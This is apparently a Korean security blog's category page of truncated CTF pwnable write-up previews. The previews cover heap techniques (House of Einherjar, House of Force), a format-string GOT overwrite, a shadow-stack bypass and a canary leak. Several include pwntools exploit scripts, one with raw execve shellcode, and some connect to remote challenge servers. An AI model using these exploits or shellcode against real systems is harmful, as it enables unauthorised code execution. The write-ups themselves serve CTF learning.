목록Security/Pwnable (146)
cdor1's lab
stack, bss 영역 등 공격자가 주소를 인지하고 있는 공간에 fake chunk를 쓰고 다음 chunk의 prev_inuse 필드를 unset 하고 prev_size를 속이게 되는데 서로 통합하는 과정에서 size와 fake.prev_size가 합쳐지면서 malloc은 fake chunk가 있는 공간에 할당하게 되고 공격자가 원하는 부분에 data를 쓸 수 있는 취약점이다. #include #include #include #include #include /* Credit to st4g3r for publishing this technique The House of Enherjar uses an off-by-one overflow with a null byte to control the pointer..
보호되어 있는 글입니다.
rop 처음 공부하시거나 pwntools 공부하시는 분들을 위해 올려놓겠습니다. -Without pwntools- p = lambda x: struct.pack("
풀 문제를 찾다가 풀게 된 문제이다. arm상에서 진행되는 heap exploit은 처음이였는데 별반 다를게 없었다. house of force 기법을 이용해서 공격하게 되는데 처음에 8-bit key를 입력 받는 과정에서 top_chunk addr를 leak해 낼 수 있다. edit메뉴에서 malloc(8)을 하고 24바이트를 받게 되는데 이 과정에서 top_chunk의 크기를 0xffffffff로 덮어준다. sign_name 메뉴에서 자신이 원하는 크기만큼 힙에 할당 해 줄 수 있는데 이를 통해 hof를 트리거 할 수 있다. hof를 트리거해서 bss영역을 가르키게 만들고 그 곳 포인터들을 활용해서 fread@got를 printf@plt로 덮어 got를 leak하고 atoi를 system으로 덮고 /..
후기 : 우분투 정리하다가 예~전에 YISF예선에서 풀었던 100점짜리 문제를 찾아서 올린다. 지뢰찾기를 모티브로한 FSB문제였다. from pwn import * s = remote('112.166.114.136',38961) payload = "" payload += p32(0x0804c012) # printf_got 2 payload += p32(0x0804c010) # printf_got 1 payload += "%"+"2044"+"c"+"%3$hn"+"%"+"32140"+"c"+"%4$hn" payload += ";/bin/sh" # get shell after FSB print s.recvuntil('$') s.sendline('1') print s.recvuntil('$') s.sendlin..
보호되어 있는 글입니다.
후기 : shadow stack을 바이너리로 구현해놓은 재미있는 문제였다. bof 자체가 이전에 save해놨던 eip로만 가기때문에 불가능했지만 name포인터를 덮어 저장되었던 eip를 수정해 mprotect함수로 실행권한을 준 후 리턴 부분을 쉘코드 주소로 돌려 쉘을 얻어냈다. 재밌는 문제였다. from pwn import * s = process('./shadow') shellcode = '\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80' print s.recvuntil('Input name : ') s.sendline('dor1') print s...
후기 : 구조체 2개 할당후 오버플로를 통해서 포인터 덮고 쉘 함수 호출 from pwn import * s = process('./tyro_heap_29d1e9341f35f395475bf16aa988e29b') for i in range(0,2): print s.recvuntil('::> ') s.sendline('c') print s.recvuntil('::> ') s.sendline('b') print s.recvuntil('object id ?: ') s.sendline('0') print s.recvuntil('give me input_b: ') s.sendline(p32(0x08048660)*10) print s.recvuntil('::> ') s.sendline('e') print s.rec..
보호되어 있는 글입니다.
후기 : 첫 소켓 프로그램 익스플로잇. fd때문에 애먹었다. from pwn import * #s = remote('localhost', 8181) s = remote('110.10.212.130', 8888) print s.recvuntil('Select menu > ') s.sendline('1') print s.recvuntil('Input Your Message : ') s.sendline('a'*40) print s.recvuntil('a'*40 + '\n') canary = u32('\x00' + s.recv(3)) log.info('canary : ' + hex(canary)) raw_input() print s.recvuntil('Select menu > ') s.sendline('1') ..